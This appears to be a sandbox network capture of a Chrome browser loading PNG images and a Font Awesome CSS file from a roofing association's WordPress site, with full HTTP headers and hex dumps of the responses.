2024-04-23 14:53:45 UTC	513	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:45 GMT Content-Type: image/png Content-Length: 865 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 15 Dec 2021 09:14:35 GMT ETag: "6001a0-361-5d32bbc0434c0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:45 UTC	865	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 57 08 03 00 00 00 be f6 d2 a9 00 00 00 4e 50 4c 54 45 47 70 4c a7 a9 ad a6 a7 ab a7 a9 ad 74 20 16 a7 a9 ad 99 85 86 74 21 17 a7 a9 ad 75 22 18 a7 a9 ad 74 20 16 75 23 19 a7 a9 ad 74 20 16 a7 a9 ad a7 a9 ad a7 a9 ad a7 a9 ad 74 20 16 96 7a 79 74 20 16 8f 67 65 74 20 16 a7 a9 ad 80 3f 39 b1 74 3c e2 00 00 00 17 74 52 4e 53 00 ef bf 3a bf 60 10 44 dc 81 50 d7 96 af 2a 99 20 70 81 67 fa af b7 5b f4 a9 1f 00 00 02 ab 49 44 41 54 58 c3 b5 99 d9 76 84 20 10 44 11 51 c0 75 46 1d c5 ff ff d1 e0 36 2c 82 3a a4 a9 c7 9c 93 db 95 b2 2d d1 20 e4 53 86 5f 28 9a 3a 91 bc a3 c1 5b 21 44 34 f3 58 c2 a3 99 4f c4 aa 38 e6 c5 ae 18 e6 53 f1 15 bc 79 0d 0e 6f be 13 ba 80 cd 9b 70 60 f3 58 58 82 34 cf 6c 38 Data Ascii: PNGIHDR\WNPLTEGpLt t!u"t u#t t zyt get ?9t<tRNS:`DP* pg[IDATXv DQuF6,:- S_(:[!D4XO8Syop`XX4l8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49770	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:45 UTC	747	OUT	GET /wp-content/plugins/revslider/public/assets/assets/transparent.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:45 UTC	513	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:45 GMT Content-Type: image/png Content-Length: 122 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1548b79-7a-5b419ed2ec280" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:45 UTC	122	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 c8 01 00 00 00 00 7a a4 e1 f8 00 00 00 02 74 52 4e 53 00 01 01 94 fd ae 00 00 00 33 49 44 41 54 78 01 ed ca 31 01 00 00 08 03 20 fb a7 b5 81 16 d8 b1 00 70 33 d7 58 4d d3 34 4d d3 22 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 1e c7 8b 88 4c 24 25 a6 95 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR,ztRNS3IDATx1 p3XM4M"M4M4M4M4M4ML$%IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49771	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:45 UTC	759	OUT	GET /wp-content/uploads/2024/01/2024_ExcellenceAwardWinners_WebSlider_1425x300.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:45 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:45 GMT Content-Type: image/png Content-Length: 264122 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 24 Jan 2024 15:55:58 GMT ETag: "60102c-407ba-60fb31955f9ca" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:45 UTC	7674	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 91 00 00 01 2c 08 03 00 00 00 85 72 0d 4c 00 00 03 00 50 4c 54 45 e2 e3 e2 1b 23 27 3d 3c 3b 51 5c 63 8e 96 88 ff ff ff 0d 0e 06 ab b1 a6 e8 e8 e3 40 4f 32 3a 39 37 24 1e 1a 10 12 07 55 60 66 65 7f 82 1f 19 16 28 22 1d 59 63 69 65 83 84 13 17 08 69 87 88 37 34 33 1b 14 10 4e 58 5f 5d 78 7a 5c 66 6d 49 55 5c 1f 29 2a 09 09 06 31 29 21 56 6f 73 5a 74 77 35 20 16 25 2c 2e 76 94 94 5f 6b 70 6d 8c 8c 16 1d 20 41 40 3d 17 1c 0b 6f 83 87 52 6a 6e 46 52 59 37 2f 24 65 7b 80 73 89 8c 70 90 8f 78 9a 97 5e 7c 7d b5 bf c4 4e 65 6a 79 8f 91 25 30 32 29 26 26 1a 0f 0a 83 76 71 c4 c5 c3 7f a2 9e 91 82 7b 32 2e 31 7d 70 6a 0e 0f 10 2e 18 0d 24 2e 10 89 7b 76 1e 28 0e 43 53 23 2a 34 10 52 52 50 ae 6a 46 1a 22 0c 40 Data Ascii: PNGIHDR,rLPLTE#'=<;Q\c@O2:97$U`fe("Yciei743NX_]xz\fmIU\)1)!VosZtw5 %,.v_kpm A@=oRjnFRY7/$e{spx^\|}Nejy%02)&&vq{2.1}pj.$.{v(CS#4RRPjF"@
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 28 35 9a d8 ec 98 d8 2c 95 b2 00 f7 54 66 a7 c6 c6 66 c7 c6 c6 28 33 53 35 9a cc c8 98 ec 6c a5 2d 3b 33 3b 56 89 eb f1 53 26 9e 47 5b 81 06 43 89 a7 8a 67 8c 57 84 17 91 85 07 d2 b0 33 a5 32 4b 93 a5 29 c0 8d 3a f6 d2 34 ec dd f7 cf ff d5 65 e9 b7 b8 5c 96 0b 2e 8b c3 60 a2 c5 64 70 d9 e3 1d 9d 9d ed ed 5d e6 2e 57 4d 92 ab b7 b7 c6 c2 6e 31 44 a4 38 52 52 1c 86 14 87 5a 1d 15 91 62 b1 a8 6d 86 14 43 0a 46 5c 5c dc bc a8 28 47 14 be a7 d9 ac 2a bd de a2 d3 db bc 36 9b 26 cb 66 b3 59 6c b6 33 2e fd a0 15 ab af 4d a7 6a b3 ea 4c 2e 97 c9 aa d7 e9 0b ac 6d b8 ab 8e d6 3e d6 38 7e 50 15 58 0b f4 06 83 49 af b7 5a 0c 89 e1 11 db 2a d3 99 1c 0e eb 19 4a 31 18 2c 96 31 1e b3 a7 d5 5c de bc a1 a4 ba a1 21 0c 21 86 ea 06 5c a8 ae 6e 68 ad 9e 32 a5 a4 62 c3 86 f4 Data Ascii: (5,Tff(3S5l-;3;VS&G[CgW32K):4e\.`dp].WMn1D8RRZbmCF\\(G6&fYl3.MjL.m>8~PXIZJ1,1\!!\nh2b
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 5d a3 52 f4 29 36 44 33 e0 57 38 52 c0 e2 08 5c a1 37 69 b0 73 61 a5 6d 0d f4 24 76 cf 55 84 63 5b 9d 17 a5 a6 c4 39 d1 65 2f 5a 90 58 48 9a d0 33 e4 a2 20 b0 46 87 fc b1 ca 30 e4 b6 a3 41 30 ec 4c 6f 8d 4b 0f 71 ec 1a 72 0d f5 ae 18 aa 31 7b dc 15 bf fe 6d de 04 f5 f2 6d 71 5d 11 8b 12 13 a3 e6 e4 25 66 24 bf 9e de 7c 02 f9 e3 56 64 28 5a 59 37 00 46 c9 06 4f 4b c5 24 87 23 3c 79 59 33 02 51 1b 5a 5a 9d 1b 2a 36 38 05 1e 8b 38 16 97 f4 ca 5a 73 bb 0b 0a 1d db 09 f8 2c e8 09 2c ed 99 32 25 23 4f 2d cc 84 11 c6 e2 4c c6 ad 0a 27 8a 7c da b5 f3 53 20 91 3b bb 8b 2f 34 7a cc f3 d7 ad 5d d2 3e 7f 4d fe 8a 46 45 63 3e ba 1b 8c 24 85 bb ed 3d 9d 90 71 c9 c9 19 ee 4a 77 63 93 d0 b5 5d 6a ac 34 2a c2 1a 15 10 ca 4d 55 66 23 6b d9 d3 b6 51 da ba 80 6d 83 eb 90 e6 Data Ascii: ]R)6D3W8R\7isam$vUc[9e/ZXH3 F0A0LoKqr1{mmq]%f$\|Vd(ZY7FOK$#<yY3QZZ688Zs,,2%#O-L'\|S ;/4z]>MFEc>$=qJwc]j4MUf#kQm
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 0b ff 61 6e f9 6e d8 12 54 ea ab 05 70 51 e9 23 48 e7 cc 85 2a 86 81 0c 77 02 2c 86 98 66 b5 40 48 e4 dd 73 67 a1 a2 f7 f4 af 7e f5 d4 a4 c5 bf 7e 7c c6 cc 67 1f 7f 76 ae 85 49 64 22 32 b5 40 51 3b ea 05 6d f7 7b 67 28 5b 71 fb f6 6a 1f b3 84 99 e0 55 a4 74 95 2a 50 f1 a3 1f 4a 4b 61 ab b7 13 90 8b bf 81 44 f6 1d f9 a6 58 cc 5b 50 ff 63 18 84 f3 8a 46 de 28 52 c5 a6 1a aa 12 e6 45 a6 03 ec 36 96 8d c7 e4 d4 e3 ce 12 91 8f 14 af dd b8 f1 45 22 f2 8b f9 af 44 81 c8 49 15 5d 5d 13 3d ee a8 ce 6a 33 04 32 7d 76 56 b2 b9 df 42 46 a1 88 67 8e e3 e3 3f e3 5d f0 09 92 f9 a1 1a 9d f2 69 ed e9 d7 0b 03 b3 54 8c 94 a0 38 1e 4a e3 42 59 e0 62 69 08 5d a5 cc 71 e0 46 71 42 b8 e3 21 ca 59 c0 31 8b b1 a1 49 9c 10 4a b0 0e ae e2 a1 0b ba 90 26 a4 a0 4a dc 25 92 be 70 7d Data Ascii: annTpQ#Hw,f@Hsg~~\|gvId"2@Q;m{g([qjUtPJKaDX[PcF(RE6E"DI]]=j32}vVBFg?]iT8JBYbi]qFqB!Y1IJ&J%p}
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 04 ea 0c 5e 8d 3b 06 df ff fc 0b 70 e4 bb 6f be f9 f9 9b 6f be f9 57 6f fe cb db 4c 3a e2 5b 77 f8 9c 0e 27 9a 8c a4 d7 08 df 3e 4c 20 40 65 cb 31 5f 8e 47 67 09 80 39 7b e8 b3 20 fe 13 ea 09 c3 36 87 c5 a7 23 0a 63 cc e7 70 04 d8 de fc 98 1a 38 34 73 bd 6e 8b 9a df bd f7 87 54 79 93 07 ee 8f f0 e4 2f 35 10 56 cd f6 6a 8b f5 7b 7f 20 43 bc 17 7a d0 8f 6e 12 43 b9 1b 63 fa 23 95 1b d9 e4 8f c3 87 95 b7 ac 56 11 5f e5 31 eb 9e de f0 4a 74 2b 01 02 36 e1 da 8f 42 0a b0 a8 06 74 38 48 bd cf b7 12 55 96 0f b0 ab ba 56 f3 49 28 63 04 70 34 5b 60 7c 03 c4 e1 15 54 09 3b 12 dd 6c 82 2b 63 cb d9 6a 68 27 5a 85 1a d7 dd 44 b8 04 77 94 2f d6 0a 66 2c 0c d9 4d 6d e2 09 b0 f8 81 22 c4 b7 1f 40 9d b8 fd e4 01 c1 f8 89 06 c6 d7 09 c4 78 1d 39 3e 72 74 e4 dc d1 95 9a 9a Data Ascii: ^;pooWoL:[w'>L @e1_Gg9{ 6#cp84snTy/5Vj{ CznCc#V_1Jt+6Bt8HUVI(cp4[`\|T;l+cjh'ZDw/f,Mm"@x9>rt
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 94 5e 0d 86 fa c0 7b a1 47 58 49 99 01 c8 7c f6 f2 0c 79 e0 6b c3 df 1b 0c 25 50 70 9c 7a ab 8b c6 67 aa 34 06 5a 45 9c f2 bc e0 c1 c9 87 2e 3d dd 01 76 2f 96 6a 20 f2 f4 16 10 5b 92 5f 68 10 13 cf d9 e2 0e 41 57 90 38 94 83 03 6b 46 b7 14 04 60 77 f7 f9 3a ad d8 27 b4 2d 43 09 05 84 4d e2 26 75 87 56 6d 78 96 5d 1b 92 7c dd 1b c2 2f 9d c2 da f4 8d 77 eb 54 2f bc a0 c8 4b 0f 44 67 27 d5 89 4d f4 78 03 79 ef 6e dc 58 97 ad 99 de 14 13 17 85 02 31 0e 96 fc a8 f1 9e e8 1b 22 3e df 45 b5 25 41 76 75 55 41 b1 80 30 b3 1d b7 ef 2b a1 f8 28 e2 1b d8 37 39 30 b0 50 23 30 7a 7c 1d 90 f9 86 84 19 5a 05 70 18 57 01 ca e8 0c 3e 43 95 82 b8 cc 13 f9 33 64 c9 57 af 03 8f ef 83 1e 8f 1c 45 22 e4 5c cd 42 0d 8f f2 8a 72 f8 90 6b 06 72 07 16 97 f2 83 93 62 c9 3a 5d 95 5a Data Ascii: ^{GXI\|yk%Ppzg4ZE.=v/j [_hAW8kF`w:'-CM&uVmx]\|/wT/KDg'MxynX1">E%AvuUA0+(790P#0z\|ZpW>C3dWE"\Brkrb:]Z
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: ee f1 a9 a2 59 be 53 79 86 28 06 67 6e 7c 3a 78 05 22 86 c8 18 1b c7 2d d9 b5 a7 96 36 49 05 5b 1f 4b 30 fa 0a 24 63 5d 20 61 3d f1 cf ed 3b d2 c5 0f 14 1c 51 e6 b7 ff 05 f5 3d e3 b4 23 a3 64 2d b1 3f 71 76 2f 1b e6 d9 2d 34 1b db 51 b8 08 2c 2e 2b cb 4c 62 c5 05 bb d9 80 fc bd 4f 7b fb 40 94 3f ec e8 8f 0e df f6 c6 bf ff fb 3f fd d3 bb 40 cd 7c f0 62 52 5f 4c e1 60 30 87 52 91 db 54 9d 5f 0e 2e 0b 3d 18 34 b6 ba 89 b5 ec a5 c3 c3 a5 8d 95 8d 2d 73 d5 f0 ba 81 1f 37 35 e5 13 6f e1 c4 80 6e 91 4b 18 87 24 5d b3 98 0b 80 07 c5 ae c0 db f2 e3 e5 8b 94 2e a0 43 03 bd e1 d4 00 ba 67 05 73 21 75 00 cd e9 84 5e ac 58 e4 f5 2c 48 19 b9 78 3a c8 cb 3a d9 08 39 04 e2 47 1e d0 1d b8 9e cb 01 20 fb e0 0b 53 96 19 b2 55 35 05 eb 2f 62 57 3d 3b bc 6b 57 54 f7 a6 ad c0 Data Ascii: YSy(gn\|:x"-6I[K0$c] a=;Q=#d-?qv/-4Q,.+LbO{@??@\|bR_L`0RT_.=4-s75onK$].Cgs!u^X,Hx::9G SU5/bW=;kWT
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 2b 60 18 59 d6 74 17 42 ba 78 0c 80 17 0a 07 83 9c 71 bb 56 9a 54 72 14 ee 8a b3 b5 08 ab a6 a3 4b b3 50 40 7d a2 1b 50 24 e1 19 ac 75 d7 67 ee e1 8a 8d 6e dc 5b fb 22 bc 71 6f 2c 6c 1e 11 ed d0 6c b9 66 f2 61 2b 91 4e 64 21 5f 5d de 94 10 b3 72 fc 0a b2 5b 38 fc 71 42 4b b7 94 48 84 73 c6 6c e3 cf 9d 5c 7a a5 70 ea f5 dc 5a d8 0f 97 bc 32 bf 12 0c b2 da 63 59 f6 f3 fa e0 6c 6e 30 ae 13 e5 e9 7b ab 37 56 21 a4 ef f9 c3 06 c8 81 53 6b 73 a7 d8 15 da 21 20 41 7d 48 7f 81 70 43 f4 37 73 38 04 86 71 6e 3e 25 57 48 73 3c b8 03 45 9b 34 6e 79 76 4a 6f 71 16 6e 25 c5 7b dc f2 b9 e5 b9 35 59 22 7e d3 b8 cb c6 cf 25 1a 43 d2 37 8f 39 ac 5d c9 a6 f4 d5 24 cc c0 c9 1c 8c 82 83 5b 35 48 c8 ec f6 38 0b 40 f9 fc dc 3c 14 57 0a 20 99 a7 dd d8 35 98 bd 9d 2f 40 6b 36 8f Data Ascii: +`YtBxqVTrKP@}P$ugn["qo,llfa+Nd!_]r[8qBKHsl\zpZ2cYln0{7V!Sks! A}HpC7s8qn>%WHs<E4nyvJoqn%{5Y"~%C79]$[5H8@<W 5/@k6
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 55 6e db e2 f6 ad bb 77 22 8d a3 3a ea 88 22 f0 9f 7d 22 f7 97 f7 bf 91 f6 0d 58 4e 60 f2 67 df 4c b1 db ab 94 84 0d 70 ec 30 c9 1b ac 2e 13 b3 6a 4e 99 5e 4b 2b 2c e9 ad 52 b1 99 00 aa ea f7 d8 4f 6b 96 76 ac 22 6c f3 4a 71 47 4b fa 56 de 79 e7 ce 9d a9 db a4 ef e9 ae b0 c0 bc d2 c6 d0 94 6d 15 7d f2 92 54 56 b6 49 a5 21 3b 35 63 2f 59 a0 a5 fd 52 54 28 6d 4e 88 5c 61 57 b6 a8 1f 55 a6 13 6c d7 ca 89 eb 97 1d 9b be 27 89 38 fa 3f 9a ba 7d e7 fe e7 6f dc be 73 e7 d6 89 8a 3a eb 33 e1 2b a5 95 4f 71 72 7c 4d a1 50 39 cc c8 89 77 df d5 1a b2 e5 ad ff 28 64 d3 b9 2c 12 68 7f 70 d7 b6 57 12 ab bf 04 6a 1f 4f 4c c9 5c ec 27 6d bd 77 10 16 f8 81 69 3f 65 1a 26 73 73 70 eb ee c1 2c db eb e5 67 ee 57 49 13 ef 60 74 26 0b 38 07 53 9e d5 a1 96 b1 b4 2b 83 4d c5 5b Data Ascii: Unw":"}"XN`gLp0.jN^K+,ROkv"lJqGKVym}TVI!;5c/YRT(mN\aWUl'8?}os:3+Oqr\|MP9w(d,hpWjOL\'mwi?e&ssp,gWI`t&8S+M[
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 7c 69 8d 22 8e 3b 15 c7 8c 89 1b 0e 1c 6b b8 4a cb 98 92 b9 1d 57 37 ea 10 d2 c6 b8 3d 2c 4f 77 67 63 9b 8e 09 8c ea b6 1a f9 ab 1c a0 a6 07 22 39 db 94 c6 be 7c a2 72 92 b2 32 7b f2 d1 78 f9 92 80 e4 ad f5 49 a9 14 3c a5 d0 fa 91 49 de 50 56 7a d1 7e 25 75 16 24 65 e5 17 d8 49 3a 63 28 a1 c1 27 d9 6e 89 f8 65 a7 47 bb 87 34 0c 45 65 d8 9d 07 44 d0 e2 b7 63 ef 27 5f 9f e0 d9 27 f3 73 49 41 5a 0d ba 8d 92 f4 34 03 46 90 8c 60 9f 7c 26 5f 4c cb 45 52 34 4f be 53 06 84 53 09 5d 30 20 75 73 89 a2 d9 b8 d5 40 c9 49 b6 85 10 c5 00 a8 20 5f 11 70 e3 5a f0 15 d4 a0 63 23 5e 08 62 c1 e9 62 e2 51 7b 6a 78 86 d5 46 d5 46 fd 07 f0 0c ae ca 73 0d 7d 0c 7d 52 62 71 c8 25 0a 2b f2 a5 e7 d8 6e af 56 0c 76 89 b1 16 22 91 09 3c ce e1 27 53 5b 98 0a 9b 53 58 46 14 67 52 b1 Data Ascii: \|i";kJW7=,Owgc"9\|r2{xI<IPVz~%u$eI:c('neG4EeDc'_'sIAZ4F`\|&_LER4OSS]0 us@I _pZc#^bbQ{jxFFs}}Rbq%+nVv"<'S[SXFgR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49773	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:45 UTC	725	OUT	GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/v4-shims.min.css?ver=6.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:46 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:46 GMT Content-Type: text/css Content-Length: 34399 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "14e269e-865f-5b419ed3e04c0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:46 UTC	7652	IN	Data Raw: 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 31 2e 32 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 2e 66 61 2e 66 61 2d 67 6c 61 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 30 22 7d 2e 66 61 2e 66 61 2d 6d 65 65 74 75 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 Data Ascii: /! Font Awesome Free 5.11.2 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:'Font Aw
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 74 3a 22 5c 66 33 63 64 22 7d 2e 66 61 2e 66 61 2d 63 69 72 63 6c 65 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 63 69 72 63 6c 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 31 31 22 7d 2e 66 61 2e 66 61 2d 6d 61 69 6c 2d 72 65 70 6c 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 65 35 22 7d 2e 66 61 2e 66 61 2d 67 69 74 68 75 62 2d 61 6c 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 66 6f 6c 64 65 72 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 Data Ascii: t:"\f3cd"}.fa.fa-circle-o{font-family:'Font Awesome 5 Free';font-weight:400}.fa.fa-circle-o:before{content:"\f111"}.fa.fa-mail-reply:before{content:"\f3e5"}.fa.fa-github-alt{font-family:'Font Awesome 5 Brands';font-weight:400}.fa.fa-folder-o{font-family:'
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 70 69 65 64 2d 70 69 70 65 72 2d 61 6c 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 64 72 75 70 61 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 6a 6f 6f 6d 6c 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 73 70 6f 6f 6e 3a 62 65 66 6f 72 Data Ascii: some 5 Brands';font-weight:400}.fa.fa-pied-piper-alt{font-family:'Font Awesome 5 Brands';font-weight:400}.fa.fa-drupal{font-family:'Font Awesome 5 Brands';font-weight:400}.fa.fa-joomla{font-family:'Font Awesome 5 Brands';font-weight:400}.fa.fa-spoon:befor
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 34 30 30 7d 2e 66 61 2e 66 61 2d 79 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 62 22 7d 2e 66 61 2e 66 61 2d 6f 70 74 69 6e 2d 6d 6f 6e 73 74 65 72 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 6f 70 65 6e 63 61 72 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 65 78 70 65 64 69 74 65 64 73 73 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 Data Ascii: 400}.fa.fa-yc:before{content:"\f23b"}.fa.fa-optin-monster{font-family:'Font Awesome 5 Brands';font-weight:400}.fa.fa-opencart{font-family:'Font Awesome 5 Brands';font-weight:400}.fa.fa-expeditedssl{font-family:'Font Awesome 5 Brands';font-weight:400}.fa.f
